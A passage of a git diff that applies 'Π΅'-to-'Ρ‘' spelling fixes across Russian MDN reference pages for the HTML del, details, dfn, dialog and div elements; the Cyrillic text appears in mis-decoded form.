<td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a> ΠΈΠ»ΠΈ <a href="/en-US/docs/HTML/Content_categories#Flow_content">ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model">ΠŸΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ</a>.</td>
</tr>
<tr>
@@ -89,7 +89,7 @@ del::after {
}
</pre>
-<p>НСкоторыС люди, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана, ΡΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ создаСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ½ΠΎΠ³ΠΎΡΠ»ΠΎΠ²Π½ΠΎΡΡ‚ΡŒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΆΠ½ΠΎ Π½Π΅ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ, примСняя Π΅Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ситуациях, ΠΊΠΎΠ³Π΄Π° Π½Π΅Π·Π½Π°Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½, ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½ΠΎ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° восприятиС.</p>
+<p>НСкоторыС люди, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана, ΡΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ создаёт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ½ΠΎΠ³ΠΎΡΠ»ΠΎΠ²Π½ΠΎΡΡ‚ΡŒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΆΠ½ΠΎ Π½Π΅ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ, примСняя Π΅Ρ‘ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ситуациях, ΠΊΠΎΠ³Π΄Π° Π½Π΅Π·Π½Π°Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½, ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½ΠΎ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° восприятиС.</p>
<ul>
<li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">ΠšΠΎΡ€ΠΎΡ‚ΠΊΠ°Ρ Π·Π°ΠΌΠ΅Ρ‚ΠΊΠ° ΠΎ создании своих ΠΌΠ΅Ρ‚ΠΎΠΊ (большС доступности) | The Paciello Group</a></li>
@@ -136,7 +136,7 @@ del::after {
<ul>
<li>{{HTMLElement("ins")}} элСмСнт для вставки Π² тСкст</li>
<li>
- <p>{{HTMLElement("s")}} элСмСнт для зачСркивания, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚ прСдставлСния ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ тСкста</p>
+ <p>{{HTMLElement("s")}} элСмСнт для зачёркивания, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚ прСдставлСния ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ тСкста</p>
</li>
</ul>
diff --git a/files/ru/web/html/element/details/index.html b/files/ru/web/html/element/details/index.html
index 59a325fa0e..bbc3bc41be 100644
--- a/files/ru/web/html/element/details/index.html
+++ b/files/ru/web/html/element/details/index.html
@@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/details
<p>{{EmbedLiveSample("Example")}}</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Если ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, см.Β {{anch("Browser compatibility")}} , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.Β </p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Если ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, см.Β {{anch("Browser compatibility")}} , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.Β </p>
</div>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹_стилизации">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ стилизации</h2>
diff --git a/files/ru/web/html/element/dfn/index.html b/files/ru/web/html/element/dfn/index.html
index c34e105cbd..05e0214d31 100644
--- a/files/ru/web/html/element/dfn/index.html
+++ b/files/ru/web/html/element/dfn/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/dfn
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, Π½ΠΎ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ {{HTMLElement("dfn")}} элСмСнт Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ.</td>
</tr>
<tr>
@@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/dfn
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/dfn
<h3 id="Бсылки_Π½Π°_&lt;dfn>_элСмСнты">Бсылки Π½Π° <code>&lt;dfn&gt;</code> элСмСнты</h3>
-<p>Если Π²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("id")}} Π² <code>&lt;dfn&gt;</code> элСмСнт, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{HTMLElement("a")}} элСмСнты. Они Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° использованиС Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ смог быстро ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, Ссли ΠΎΠ½ Π΅Ρ‰Π΅ Π½Π΅ Π·Π½Π°Π΅Ρ‚ Π΅Π³ΠΎ, Π½Π°ΠΆΠ°Π² Π½Π° ссылку Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°.</p>
+<p>Если Π²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("id")}} Π² <code>&lt;dfn&gt;</code> элСмСнт, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{HTMLElement("a")}} элСмСнты. Они Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° использованиС Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŒ смог быстро ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, Ссли ΠΎΠ½ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π½Π°Π΅Ρ‚ Π΅Π³ΠΎ, Π½Π°ΠΆΠ°Π² Π½Π° ссылку Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°.</p>
<p>Π­Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ {{anch("Бсылки Π½Π° опрСдСлСния")}}.</p>
@@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/dfn
<h3 id="Бсылки_Π½Π°_опрСдСлСния">Бсылки Π½Π° опрСдСлСния</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ссылки ΠΊ опрСдСлСниям, Π²Ρ‹ создаСтС ссылку Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ всСгда, с {{HTMLElement("a")}} элСмСнтом.Β &lt;p&gt;&lt;strong&gt;Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ опрСдСлСния HTML&lt;/strong&gt; <code>(&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;)</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обозначСния Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, опрСдСляСмого Π² контСкстС Ρ„Ρ€Π°Π·Ρ‹ ΠΈΠ»ΠΈ прСдлоТСния. &lt;/p&gt;</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ссылки ΠΊ опрСдСлСниям, Π²Ρ‹ создаётС ссылку Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ всСгда, с {{HTMLElement("a")}} элСмСнтом.Β &lt;p&gt;&lt;strong&gt;Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ опрСдСлСния HTML&lt;/strong&gt; <code>(&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;)</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обозначСния Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, опрСдСляСмого Π² контСкстС Ρ„Ρ€Π°Π·Ρ‹ ΠΈΠ»ΠΈ прСдлоТСния. &lt;/p&gt;</p>
<h4 id="HTML_2">HTML</h4>
@@ -136,7 +136,7 @@ enim possumus hoc agere divinius?&lt;/p&gt;
<p>Β </p>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("id")}} <code>Β«definition-dfnΒ»</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС Ρ†Π΅Π»ΠΈ для ссылки. ПозднСС создаСтся ссылка с использованиСм<code> &lt;a&gt;</code> ΠΈ с {{htmlattrxref("href", "a")}}Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, установлСнным Π½Π° <code>Β«#definition-dfnΒ»</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ссылку ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("id")}} <code>Β«definition-dfnΒ»</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС Ρ†Π΅Π»ΠΈ для ссылки. ПозднСС создаётся ссылка с использованиСм<code> &lt;a&gt;</code> ΠΈ с {{htmlattrxref("href", "a")}}Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, установлСнным Π½Π° <code>Β«#definition-dfnΒ»</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ссылку ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅.</p>
<h4 id="Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚_2">Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚</h4>
@@ -158,11 +158,11 @@ enim possumus hoc agere divinius?&lt;/p&gt;
&lt;p&gt;Π”Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, HST, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, &lt;abbr title="Hubble Space Telescope"&gt;&lt;/abbr&gt; сдСлал большС
для развития Π½Π°ΡƒΠΊΠΈ, Ρ‡Π΅ΠΌ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ устройство, ΠΊΠΎΠ³Π΄Π°-Π»ΠΈΠ±ΠΎ созданноС.&lt;/p&gt; </pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° <code>&lt;abbr&gt;</code> элСмСнт, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² <code>&lt;dfn&gt;</code>. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ устанавливаСт, Ρ‡Ρ‚ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ являСтся Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ (Β«HSTΒ») ΠΈ опрСдСляСт ΠΏΠΎΠ»Π½Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ (Β«Hubble Space Telescope (ΠšΠΎΡΠΌΠΈΡ‡Π΅ΡΠΊΠΈΠΉ тСлСскоп β€žΠ₯Π°Π±Π±Π»β€œ)Β») Π² своСм Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>title</code>. ПослСднСС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сокращСнный Ρ‚Π΅Ρ€ΠΌΠΈΠ½ прСдставляСт собой опрСдСляСмый Ρ‚Π΅Ρ€ΠΌΠΈΠ½.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° <code>&lt;abbr&gt;</code> элСмСнт, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² <code>&lt;dfn&gt;</code>. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ устанавливаСт, Ρ‡Ρ‚ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ являСтся Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ (Β«HSTΒ») ΠΈ опрСдСляСт ΠΏΠΎΠ»Π½Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ (Β«Hubble Space Telescope (ΠšΠΎΡΠΌΠΈΡ‡Π΅ΡΠΊΠΈΠΉ тСлСскоп β€žΠ₯Π°Π±Π±Π»β€œ)Β») Π² своём Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>title</code>. ПослСднСС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сокращённый Ρ‚Π΅Ρ€ΠΌΠΈΠ½ прСдставляСт собой опрСдСляСмый Ρ‚Π΅Ρ€ΠΌΠΈΠ½.</p>
<h4 id="Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚_3">Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚</h4>
-<p>Π’Ρ‹Π²ΠΎΠ΄ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π° выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π’Ρ‹Π²ΠΎΠ΄ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π° выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<p>{{ EmbedLiveSample('HTML_3', '', '', '', 'Web/HTML/Element/dfn') }}</p>
diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html
index 38ca0276b5..3143ca9b83 100644
--- a/files/ru/web/html/element/dialog/index.html
+++ b/files/ru/web/html/element/dialog/index.html
@@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/dialog
</tr>
<tr>
<th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
- <td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">основной ΠΏΠΎΡ‚ΠΎΠΊ</a></td>
+ <td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">основной ΠΏΠΎΡ‚ΠΎΠΊ</a></td>
</tr>
<tr>
<th scope="row">DOM-интСрфСйс</th>
diff --git a/files/ru/web/html/element/div/index.html b/files/ru/web/html/element/div/index.html
index 27ca73a4ae..503e8e24a8 100644
--- a/files/ru/web/html/element/div/index.html
+++ b/files/ru/web/html/element/div/index.html
@@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/div
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a> ΠΈΠ»ΠΈ (Π² {{glossary("WHATWG")}} HTML), Ссли Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ являСтся элСмСнт {{HTMLElement("dl")}}: ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько элСмСнтов {{HTMLElement("dt")}}, сопровоТдаСмых ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ элСмСнтами {{HTMLElement("dd")}}, Π² рядС случаСв ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹Ρ… с элСмСнтами {{HTMLElement("script")}} ΠΈ {{HTMLElement("template")}}.</td>
</tr>
<tr>
@@ -39,12 +39,12 @@ translation_of: Web/HTML/Element/div
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a> Π² качСствС содСрТимого..<br>
Или (Π² {{glossary("WHATWG")}} HTML): элСмСнт {{HTMLElement("dl")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
